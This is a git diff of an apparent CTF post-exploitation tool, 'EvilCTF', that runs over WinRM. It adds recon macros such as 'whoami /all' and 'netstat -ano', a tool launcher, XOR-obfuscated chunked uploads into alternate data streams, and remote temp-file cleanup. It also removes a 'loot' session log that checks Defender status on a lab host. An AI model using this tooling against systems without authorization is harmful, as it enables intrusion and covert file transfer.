} + selected_label = prompt.select('Tool registry', labels) + selected_idx = labels.index(selected_label) + selected = selected_idx ? entries[selected_idx] : nil + return unless selected + + args = prompt.ask('Arguments (optional)', default: '') + command = @tool_registry.build_command(entry: selected, args: args) + @command_queue << { shell: current_shell, cmd: command } + @app_state.append_stream("[+] Queued tool: #{selected[:name]}") + end + + def launch_macro(current_shell:) + return @app_state.append_stream('[!] No active shell for macro execution') unless current_shell + + macros = { + 'recon_basic' => 'whoami /all; hostname; systeminfo', + 'quick_process_check' => 'Get-Process | Select-Object -First 20 Name,Id', + 'network_snapshot' => 'ipconfig /all; netstat -ano' + } + + prompt = @prompt_factory.call + return unless prompt + + selected = prompt.select('Macros', macros.keys) + command = macros[selected] + return unless command + + @command_queue << { shell: current_shell, cmd: command } + @app_state.append_stream("[+] Queued macro: #{selected}") + end + + def select_profile + names = EvilCTF::Config::Profiles.profile_names(root_path: @root_path) + return @app_state.append_stream('[!] No profiles found') if names.empty? + + prompt = @prompt_factory.call + return unless prompt + + selected = prompt.select('Profiles', names) + profile = EvilCTF::Config::Profiles.load_profile(name: selected, root_path: @root_path) + if profile + @app_state.set_pending_connection(profile) + @app_state.append_stream("[+] Loaded profile '#{selected}' for next session") + else + @app_state.append_stream("[!] Failed to load profile '#{selected}'") + end + end + + def apply_settings + result = @settings_manager.open + return unless result + + case result[:type] + when :toggle_logging + state = result[:value] ? 'enabled' : 'disabled' + @app_state.append_stream("[+] Logging #{state}") + when :theme + @app_state.append_stream("[+] Theme set to #{result[:value]}") + when :scrollback_limit + @app_state.append_stream("[+] Scrollback limit set to #{result[:value]}") + end + end + + def enqueue_transfer(direction:, shell:) + unless shell + @app_state.append_stream("[!] No active shell for #{direction}") + return + end + + Thread.new do + begin + @transfer_callback.call(direction: direction, shell: shell) + rescue StandardError => e + @app_state.append_stream("[!] #{direction} failed: #{e.class}: #{e.message}") + end + end + end + end + end +end diff --git a/lib/evil_ctf/uploader.rb b/lib/evil_ctf/uploader.rb index bff319b..d74967e 100644 --- a/lib/evil_ctf/uploader.rb +++ b/lib/evil_ctf/uploader.rb @@ -54,10 +54,10 @@ def self.file_operations_menu(shell) end # Always show completions for drive roots and partials - ps = <<~PS + ps = <<~PS try { - $d = '#{dir.gsub("'", "''")}' - $p = '#{partial.gsub("'", "''")}' + $d = '#{EvilCTF::Utils.escape_ps_string(dir)}' + $p = '#{EvilCTF::Utils.escape_ps_string(partial)}' $results = Get-ChildItem -Path $d -Directory -Name | Where-Object { $_ -like "$p*" } | ForEach-Object { Join-Path $d $_ } if ($results.Count -eq 0 -and $p -eq '') { # Show drive letters @@ -139,7 +139,7 @@ def self.file_operations_menu(shell) end begin require 'zip' - Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile| + Zip::File.open(zip_path, create: true) do |zipfile| Dir[File.join(dir, '**', '**')].each do |file| zipfile.add(file.sub(dir + '/', ''), file) end @@ -160,5 +160,23 @@ def self.file_operations_menu(shell) end end end + + # Remove temporary part files on the remote host (best-effort) + def self.cleanup_tmp(remote_tmp, shell_or_adapter) + return unless remote_tmp && shell_or_adapter + begin + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + escaped = EvilCTF::Utils.escape_ps_string(remote_tmp) + ps = <<~PS + try { + Remove-Item -Path '#{escaped}' -Force -ErrorAction SilentlyContinue + "OK" + } catch { "ERROR: $($_.Exception.Message)" } + PS + adapter.run(ps) + rescue => _e + nil + end + end end end diff --git a/lib/evil_ctf/uploader/client.rb b/lib/evil_ctf/uploader/client.rb index ae76aff..701a6ee 100644 --- a/lib/evil_ctf/uploader/client.rb +++ b/lib/evil_ctf/uploader/client.rb @@ -6,6 +6,8 @@ require_relative '../shell_adapter' require_relative '../logger' require_relative '../errors' +require_relative '../utils' +require_relative '../app_state' module EvilCTF require 'colorize' @@ -19,7 +21,7 @@ def initialize(shell_or_adapter, logger = nil) end - def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHUNK_SIZE, verify: false, xor_key: nil) + def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHUNK_SIZE, verify: true, xor_key: nil) unless File.exist?(local_path) puts '[!] Local file missing'.colorize(:red) raise ::EvilCTF::Errors::UploadError, 'local file missing' @@ -49,7 +51,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU if is_ads # --- ADS upload logic using Add-Content -Encoding Byte --- - ads_path = final_remote_path.gsub("'", "''") + ads_path = EvilCTF::Utils.escape_ps_string(final_remote_path) begin File.open(local_path, 'rb') do |f| idx = 0 @@ -122,16 +124,28 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU tmp_token = Time.now.to_i.to_s + rand(9999).to_s tmp_remote = final_remote_path + ".part_#{tmp_token}" - escaped_tmp = tmp_remote.gsub("'", "''") + escaped_tmp = EvilCTF::Utils.escape_ps_string(tmp_remote) - # Use WinRM::FS if available + # Register upload in AppState so UI can show real progress + upload_id = "upload_#{tmp_token}_#{Thread.current.object_id}" + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: File.size(local_path), sent: 0 }) + rescue => _e + end + + # Use adapter file manager if available fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil if fm && fm.respond_to?(:upload) begin - @logger&.info("[Uploader] Using WinRM::FS upload via adapter for #{local_path} -> #{tmp_remote}") - fm.upload(local_path, tmp_remote) + @logger&.info("[Uploader] Using file manager upload via adapter for #{local_path} -> #{tmp_remote}") + fm.upload(local_path: local_path, remote_path: tmp_remote) + # mark as completed + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: File.size(local_path), sent: File.size(local_path) }) + rescue + end # move into place - escaped_final = final_remote_path.gsub("'", "''") + escaped_final = EvilCTF::Utils.escape_ps_string(final_remote_path) ps_rm_final = <<~PS try { Remove-Item -Path '#{escaped_final}' -Force -ErrorAction SilentlyContinue; "OK" } catch { "ERROR: $($_.Exception.Message)" } PS @@ -150,11 +164,18 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU res = @shell_adapter.run(ps) remote_raw = res && res.output ? res.output.to_s : '' remote_hash = remote_raw.scan(/[0-9A-Fa-f]{64}/).first + if local_sha256 != remote_hash + return { ok: false, local_hash: local_sha256, remote_hash: remote_hash, error: "Hash mismatch: local=#{local_sha256}, remote=#{remote_hash}" } + end return { ok: true, local_hash: local_sha256, remote_hash: remote_hash, tmp_hash: remote_hash } end return true rescue => e - @logger&.warn("[Uploader] WinRM::FS upload failed, falling back: #{e.message}") + @logger&.warn("[Uploader] File manager upload failed, falling back: #{e.message}") + begin + EvilCTF::AppState.instance.clear_upload(upload_id) + rescue + end end end @@ -179,7 +200,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU begin File.open(local_path, 'rb') do |f| - escaped_tmp_q = tmp_remote.gsub("'", "''") + escaped_tmp_q = EvilCTF::Utils.escape_ps_string(tmp_remote) ps_exists = "Test-Path '#{escaped_tmp_q}'" exist_res = @shell_adapter.run(ps_exists) offset = 0 @@ -193,6 +214,12 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU idx = (offset / chunk_size) bytes_sent = offset + local_size = File.size(local_path) + # ensure app_state knows total + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: local_size, sent: bytes_sent }) + rescue + end while (buf = f.read(chunk_size)) payload = if xor_key EvilCTF::Tools::Crypto.xor_crypt(buf, xor_key) @@ -202,7 +229,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU buf end b64 = Base64.strict_encode64(payload) - escaped_remote = tmp_remote.gsub("'", "''") + escaped_remote = EvilCTF::Utils.escape_ps_string(tmp_remote) ps = <<~PS try { $b64 = @' @@ -225,6 +252,11 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end bytes_sent += buf.bytesize + # update progress in AppState + begin + EvilCTF::AppState.instance.set_upload(upload_id, { name: File.basename(local_path), total: local_size, sent: bytes_sent }) + rescue + end ps_len_check = "(Get-Item -Path '#{escaped_remote}' -ErrorAction SilentlyContinue).Length" len_res = @shell_adapter.run(ps_len_check) remote_len = len_res && len_res.output ? len_res.output.to_s.scan(/\d+/).first.to_i : 0 @@ -244,6 +276,10 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end rescue => e @logger&.error("[Uploader] Upload failed during chunked transfer: #{e.class}: #{e.message}") + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end raise ::EvilCTF::Errors::UploadError, e.message end @@ -261,7 +297,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end # Ensure final does not exist, then move temp file into place atomically (or try copy as fallback) - escaped_final = remote_path.gsub("'", "''") + escaped_final = EvilCTF::Utils.escape_ps_string(final_remote_path) ps_rm_final = <<~PS try { Remove-Item -Path '#{escaped_final}' -Force -ErrorAction SilentlyContinue; "OK" } catch { "ERROR: $($_.Exception.Message)" } PS @@ -292,7 +328,7 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end if verify - ps = "(Get-FileHash -Path '#{remote_path}' -Algorithm SHA256).Hash" + ps = "(Get-FileHash -Path '#{final_remote_path}' -Algorithm SHA256).Hash" res = @shell_adapter.run(ps) remote_raw = res && res.output ? res.output.to_s : '' remote_hash = remote_raw.scan(/[0-9A-Fa-f]{64}/).first @@ -300,54 +336,188 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU cleaned = remote_raw.gsub(/[^0-9A-Fa-f]/, '') remote_hash = cleaned[0,64] if cleaned && cleaned.length >= 64 end + if local_sha256 != remote_hash + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end + return { ok: false, local_hash: local_sha256, remote_hash: remote_hash, error: "Hash mismatch: local=#{local_sha256}, remote=#{remote_hash}" } + end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end return { ok: true, local_hash: local_sha256, remote_hash: remote_hash, tmp_hash: tmp_hash } end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end true + ensure + # best-effort cleanup of temporary part files if any error occurred + begin + if defined?(tmp_remote) && tmp_remote && @shell_adapter + ::EvilCTF::Uploader.cleanup_tmp(tmp_remote, @shell_adapter) rescue nil + end + rescue + end + begin + EvilCTF::AppState.instance.clear_upload(upload_id) rescue nil + rescue + end end def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) - exist = @shell_adapter.run("Test-Path '#{remote_path.gsub("'", "''")}'") - unless exist && exist.output.to_s.strip == 'True' - puts '[!] Remote path not found'.colorize(:red) - @logger&.error("[Downloader] Remote path not found: #{remote_path}") - raise ::EvilCTF::Errors::DownloadError, 'Remote path not found' + requested_remote_path = remote_path.to_s + resolved_remote_path = resolve_remote_path(remote_path: requested_remote_path, retries: 10, delay: 1) + if resolved_remote_path && resolved_remote_path != requested_remote_path + @logger&.info("[Downloader] Resolved remote path '#{requested_remote_path}' to '#{resolved_remote_path}'") end + remote_path = resolved_remote_path || requested_remote_path - # Prefer WinRM::FS + # Prefer adapter file manager fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil if fm begin - @logger&.info("[Downloader] Using WinRM::FS to download #{remote_path} -> #{local_path}") + @logger&.info("[Downloader] Using file manager to download #{remote_path} -> #{local_path}") tmp_local = local_path + ".winrmfs.tmp" if fm.respond_to?(:download) - fm.download(remote_path, tmp_local) + fm.download(remote_path: remote_path, local_path: tmp_local) elsif fm.respond_to?(:read) - fm.read(remote_path, tmp_local) + fm.read(remote_path: remote_path, local_path: tmp_local) else - raise 'WinRM::FS file manager does not implement download/read' + raise 'File manager does not implement download/read' end FileUtils.mkdir_p(File.dirname(local_path)) FileUtils.mv(tmp_local, local_path) @logger&.info("[Downloader] Download complete: #{local_path}") return true rescue => e - @logger&.warn("[Downloader] WinRM::FS download failed, falling back: #{e.message}") + if remote_not_found_error?(e) + retry_remote = resolve_remote_path(remote_path: requested_remote_path, retries: 4, delay: 1) + if retry_remote && retry_remote != remote_path + @logger&.info("[Downloader] Retrying with resolved path #{retry_remote}") + begin + tmp_local = local_path + ".winrmfs.tmp" + if fm.respond_to?(:download) + fm.download(remote_path: retry_remote, local_path: tmp_local) + elsif fm.respond_to?(:read) + fm.read(remote_path: retry_remote, local_path: tmp_local) + end + FileUtils.mkdir_p(File.dirname(local_path)) + FileUtils.mv(tmp_local, local_path) + @logger&.info("[Downloader] Download complete after path retry: #{local_path}") + return true + rescue => retry_error + @logger&.warn("[Downloader] Retry with resolved path failed: #{retry_error.message}") + end + end + end + @logger&.warn("[Downloader] File manager download failed, falling back: #{e.message}") end end - # Chunked, resume-capable binary download using PowerShell FileStream + begin + return download_via_chunks(remote_path: remote_path, local_path: local_path, xor_key: xor_key, allow_empty: allow_empty) + rescue ::EvilCTF::Errors::DownloadError => e + if remote_not_found_error?(e) + retry_remote = resolve_remote_path(remote_path: requested_remote_path, retries: 6, delay: 1) + if retry_remote && retry_remote != remote_path + @logger&.info("[Downloader] Retrying chunked download with resolved path #{retry_remote}") + return download_via_chunks(remote_path: retry_remote, local_path: local_path, xor_key: xor_key, allow_empty: allow_empty) + end + @logger&.warn("[Downloader] No remote candidates found for #{requested_remote_path}") + log_nearby_remote_candidates(remote_path: requested_remote_path) + puts '[!] Remote path not found'.colorize(:red) + @logger&.error("[Downloader] Remote path not found: #{requested_remote_path}") + end + raise + end + rescue ::EvilCTF::Errors::DownloadError + raise + rescue => e + @logger&.error("[Downloader] Download failed: #{e.class}: #{e.message}") + raise ::EvilCTF::Errors::DownloadError, e.message + end + + private + + def resolve_remote_path(remote_path:, retries:, delay:) + requested = remote_path.to_s.gsub('/', '\\') + attempts = [retries.to_i, 1].max + + attempts.times do |idx| + return requested if remote_path_exists?(remote_path: requested, retries: 1, delay: 0) + + matched = find_matching_remote_path(remote_path: requested) + return matched if matched + + break if idx == attempts - 1 + sleep(delay) + end + + nil + rescue => e + @logger&.warn("[Downloader] Remote path resolution failed: #{e.class}: #{e.message}") + nil + end + + def find_matching_remote_path(remote_path:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + $target = '#{escaped}' + $dir = Split-Path -Parent $target + $leaf = Split-Path -Leaf $target + if (!(Test-Path -LiteralPath $dir)) { 'MISSING'; return } + + $base = [System.IO.Path]::GetFileNameWithoutExtension($leaf) + $ext = [System.IO.Path]::GetExtension($leaf) + if ([string]::IsNullOrWhiteSpace($base)) { 'MISSING'; return } + + $pattern = if ([string]::IsNullOrWhiteSpace($ext)) { "$base*" } else { "$base*$ext*" } + + $m = Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | + Where-Object { $_.Name -like $pattern } | + Sort-Object LastWriteTime -Descending | + Select-Object -First 1 + + if ($m) { "MATCH::$($m.FullName)" } else { 'MISSING' } + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + + res = @shell_adapter.run(ps) + out = res&.output.to_s + marker = out.lines.map(&:strip).find { |ln| ln.start_with?('MATCH::') } + return nil unless marker + + marker.sub('MATCH::', '').strip + rescue => e + @logger&.warn("[Downloader] Match probe failed: #{e.class}: #{e.message}") + nil + end + + def remote_not_found_error?(error) + msg = error.to_s.downcase + msg.include?('path not found') || msg.include?('remote path not found') || msg.include?('could not find file') + end + + def download_via_chunks(remote_path:, local_path:, xor_key:, allow_empty:) chunk_size = DEFAULT_CHUNK_SIZE tmp_local = local_path + '.part' FileUtils.mkdir_p(File.dirname(local_path)) offset = File.exist?(tmp_local) ? File.size(tmp_local) : 0 - @logger&.info("[Downloader] Starting chunked download: offset=#{offset} chunk_size=#{chunk_size}") + @logger&.info("[Downloader] Starting chunked download from #{remote_path}: offset=#{offset} chunk_size=#{chunk_size}") loop do ps_chunk = <<~PS try { - $path = '#{remote_path.gsub("'", "''")}' + $path = '#{EvilCTF::Utils.escape_ps_string(remote_path)}' $fs = [System.IO.File]::OpenRead($path) $fs.Seek(#{offset}, 'Begin') | Out-Null $buf = New-Object byte[] #{chunk_size} @@ -374,11 +544,14 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) end raw = res.output.to_s - # Extract base64 payload + if raw.include?('ERROR:') + msg = raw.lines.map(&:strip).find { |ln| ln.start_with?('ERROR:') } || raw.strip + raise ::EvilCTF::Errors::DownloadError, msg + end + b64 = raw.scan(/[A-Za-z0-9+\/=\s]{4,}/m).map { |s| s.gsub(/\s+/, '') }.max_by(&:length).to_s if b64.empty? - # No more data @logger&.info('[Downloader] No more data from remote; finishing') break end @@ -395,19 +568,15 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) raise ::EvilCTF::Errors::DownloadError, 'Failed to decode chunk' end - # Apply XOR if needed chunk = EvilCTF::Tools::Crypto.xor_crypt(chunk, xor_key) if xor_key - # Append to tmp file File.open(tmp_local, 'ab') { |f| f.write(chunk) } offset += chunk.bytesize @logger&.info("[Downloader] Wrote chunk, new offset=#{offset}") - # If chunk was smaller than requested, we've reached EOF break if chunk.bytesize < chunk_size end - # Final checks if File.exist?(tmp_local) && File.size(tmp_local) == 0 && !allow_empty puts '[!] Remote file empty and empty files not allowed'.colorize(:red) @logger&.error('[Downloader] Remote file empty and empty files not allowed') @@ -417,11 +586,58 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) FileUtils.mv(tmp_local, local_path) @logger&.info("[Downloader] Download complete: #{local_path}") true - rescue ::EvilCTF::Errors::DownloadError - raise + end + + def log_nearby_remote_candidates(remote_path:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + $target = '#{escaped}' + $dir = Split-Path -Parent $target + if (!(Test-Path -LiteralPath $dir)) { 'CANDIDATES::DIR_MISSING'; return } + $items = Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | + Sort-Object LastWriteTime -Descending | + Select-Object -First 10 -ExpandProperty FullName + if ($items) { + "CANDIDATES::" + ($items -join '|') + } else { + 'CANDIDATES::NONE' + } + } catch { + "CANDIDATES::ERROR::$($_.Exception.Message)" + } + PS + out = @shell_adapter.run(ps)&.output.to_s + line = out.lines.map(&:strip).find { |ln| ln.start_with?('CANDIDATES::') } + @logger&.warn("[Downloader] #{line}") if line && !line.empty? rescue => e - @logger&.error("[Downloader] Download failed: #{e.class}: #{e.message}") - raise ::EvilCTF::Errors::DownloadError, e.message + @logger&.warn("[Downloader] Candidate listing failed: #{e.class}: #{e.message}") + end + + def remote_path_exists?(remote_path:, retries:, delay:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + if (Test-Path -LiteralPath '#{escaped}') { 'EXISTS' } else { 'MISSING' } + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + + attempts = [retries.to_i, 1].max + attempts.times do |idx| + res = @shell_adapter.run(ps) + out = res&.output.to_s + return true if out.include?('EXISTS') + + break if idx == attempts - 1 + sleep(delay) + end + + false + rescue => e + @logger&.warn("[Downloader] Existence probe failed: #{e.class}: #{e.message}") + false end end end diff --git a/lib/evil_ctf/utils.rb b/lib/evil_ctf/utils.rb new file mode 100644 index 0000000..a769239 --- /dev/null +++ b/lib/evil_ctf/utils.rb @@ -0,0 +1,11 @@ +# frozen_string_literal: true +module EvilCTF + module Utils + # Escape a string for safe inclusion inside a PowerShell single-quoted string + # e.g. 'O''Reilly' style escaping + def self.escape_ps_string(str) + return '' if str.nil? + str.to_s.gsub("'", "''") + end + end +end diff --git a/loot/placeholder.txt b/loot/placeholder.txt deleted file mode 100644 index 8b13789..0000000 --- a/loot/placeholder.txt +++ /dev/null @@ -1 +0,0 @@ - diff --git a/loot/session_test.log b/loot/session_test.log deleted file mode 100644 index 4c30c42..0000000 --- a/loot/session_test.log +++ /dev/null @@ -1,215 +0,0 @@ -[2026-01-04 12:57:58 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 12:57:58 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 12:57:58 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 12:57:58 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 12:57:58 -0700] upload_file => true -[2026-01-04 12:57:59 -0700] download_file => false -[2026-01-04 12:57:59 -0700] CommandManager.expand_macro ran -[2026-01-04 12:57:59 -0700] [+] Session test completed -[2026-01-04 13:06:14 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:06:14 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:06:14 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:06:14 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:06:14 -0700] upload_file => true -[2026-01-04 13:06:14 -0700] download_file => true -[2026-01-04 13:06:14 -0700] compare => equal=false -[2026-01-04 13:06:14 -0700] CommandManager.expand_macro ran -[2026-01-04 13:06:14 -0700] [+] Session test completed -[2026-01-04 13:11:42 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:11:42 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:11:42 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:11:42 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:11:42 -0700] upload_file => ok=true local_hash=87d287899a015f6f652aa657d683e35048cb6ddec34ecc65a22eb7fe107ffe1d remote_hash= -[2026-01-04 13:11:42 -0700] download_file => true -[2026-01-04 13:11:42 -0700] compare => equal=false -[2026-01-04 13:11:42 -0700] CommandManager.expand_macro ran -[2026-01-04 13:11:42 -0700] [+] Session test completed -[2026-01-04 13:12:00 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:12:00 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:12:00 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:12:00 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:12:00 -0700] upload_file => ok=true local_hash=a32c88126442afe79bf0bca58449bb48bea8c85d0f9749fe35008e756bb39ade remote_hash=A32C88126442AFE79BF0BCA58449BB48BEA8C85D0F9749FE35008E756BB39ADE -[2026-01-04 13:12:00 -0700] download_file => true -[2026-01-04 13:12:00 -0700] compare => equal=true -[2026-01-04 13:12:00 -0700] CommandManager.expand_macro ran -[2026-01-04 13:12:00 -0700] [+] Session test completed -[2026-01-04 13:18:08 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:18:08 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:18:08 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:18:08 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:18:09 -0700] upload_file => ok=true local_hash=ba98ef50109650cd60cf5bcc03f720837bbb9cca9b4a0dca342ae2dc9f3f5802 remote_hash=34E8EA3B4EA649D951E88483AE281A381A403B1B237E5ABF13F386E67B48C1A9 -[2026-01-04 13:18:09 -0700] download_file => true -[2026-01-04 13:18:09 -0700] compare => equal=false -[2026-01-04 13:18:09 -0700] CommandManager.expand_macro ran -[2026-01-04 13:18:09 -0700] [+] Session test completed -[2026-01-04 13:18:36 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:18:37 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:18:37 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:18:37 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:18:37 -0700] upload_file => ok=true local_hash=25d9631815df140d39b3ccfd59f26d1057681068bde23d27606d7183524c4eff remote_hash=106544B0AF7BA282E98C0ED31E4B4C0F8E3544D35CD5BEA8FE353D4A31956FCA -[2026-01-04 13:18:37 -0700] download_file => true -[2026-01-04 13:18:37 -0700] compare => equal=false -[2026-01-04 13:18:37 -0700] CommandManager.expand_macro ran -[2026-01-04 13:18:37 -0700] [+] Session test completed -[2026-01-04 13:19:09 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:09 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:09 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:09 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:10 -0700] upload_file => ok=true local_hash=e387b0f24b77752ea79173c80add24d2deb2ae809a84ea3ea72d7010b39cb240 remote_hash=309C3CE4AF94C642C354439F03AE1465948590CEFC784BFB637DF9A2C66E4974 -[2026-01-04 13:19:10 -0700] download_file => true -[2026-01-04 13:19:10 -0700] compare => equal=false -[2026-01-04 13:19:10 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:10 -0700] [+] Session test completed -[2026-01-04 13:19:37 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:37 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:37 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:38 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:38 -0700] upload_file => ok=true local_hash=fb2df7797e7915c8a947de53b306fb8d3fca2dfddb17c4e92631a564c83b9f8c remote_hash=3D5CB44A4B09285BA16C0DE769AC5E2C41CCD613D2C81E69DDF4B8DF14F791EF -[2026-01-04 13:19:38 -0700] download_file => true -[2026-01-04 13:19:38 -0700] compare => equal=false -[2026-01-04 13:19:38 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:38 -0700] [+] Session test completed -[2026-01-04 13:19:52 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:19:52 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:19:52 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:19:52 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:19:52 -0700] upload_file => ok=true local_hash=d44bb45d6836055242d15768feec0df1243c83d497c8d0cd4d4afe35b8735969 remote_hash=38111FF10CB3F53EDB3F030C183A23A3D5E27B08804B4930ACF75A0CF8102B0B -[2026-01-04 13:19:52 -0700] download_file => true -[2026-01-04 13:19:52 -0700] compare => equal=false -[2026-01-04 13:19:52 -0700] CommandManager.expand_macro ran -[2026-01-04 13:19:52 -0700] [+] Session test completed -[2026-01-04 13:20:11 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:11 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:11 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:11 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:11 -0700] upload_file => ok=true local_hash=0bb5416f1aba9f09dae03eff0805e109783218bcaf2d4c2ed577e2a292565702 remote_hash=AA8142FFE8A7A11F0B16A798F2A78D4ABE2DFC88BAE11A3D7BF64A1D4690E73E -[2026-01-04 13:20:11 -0700] download_file => true -[2026-01-04 13:20:11 -0700] compare => equal=false -[2026-01-04 13:20:11 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:11 -0700] [+] Session test completed -[2026-01-04 13:20:12 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:13 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:13 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:13 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:13 -0700] upload_file => ok=true local_hash=e941cdcb8964b1f1eb078a75913b051c4608387bd5a4e11102ada63cba4ef3d1 remote_hash=F70CC8AEA06158CFA3C141D7BB83392E9F9B7BAA2CA599D29E6F92E7AB3A1427 -[2026-01-04 13:20:13 -0700] download_file => true -[2026-01-04 13:20:13 -0700] compare => equal=false -[2026-01-04 13:20:13 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:13 -0700] [+] Session test completed -[2026-01-04 13:20:14 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:14 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:14 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:14 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:15 -0700] upload_file => ok=true local_hash=017fb3e7911410123a598d696afd078d2ba94629d5332a1933879e90a43daad9 remote_hash=4C020B3CCEE47D3C9A866EC4816C7EE02635EAA30FFFAD2569E1DD9D8DA7D256 -[2026-01-04 13:20:15 -0700] download_file => true -[2026-01-04 13:20:15 -0700] compare => equal=false -[2026-01-04 13:20:15 -0700] CommandManager.expand_macro ran -[2026-01-04 13:20:15 -0700] [+] Session test completed -[2026-01-04 13:20:16 -0700] [*] Creating WinRM connection to http://192.168.0.143:5985/wsman as jabbatheduck -[2026-01-04 13:20:16 -0700] hostname => exit=0 output=Old-W10 -[2026-01-04 13:20:16 -0700] whoami => exit=0 output=old-w10\jabbatheduck -[2026-01-04 13:20:16 -0700] Defender RealTimeProtectionEnabled => True -[2026-01-04 13:20:16 -0700] upload_file => ok=true local_hash=30b090a95f787c51cedd76350db9c18c40276c33bd4ad2d9b605a163893f1dfe remote_hash=1C896203B98ECB863E95779DCDA3F423CC3FB8E9F3A8C5D25DD0825E18B4CE22 -[2026-01-04 13:20:16 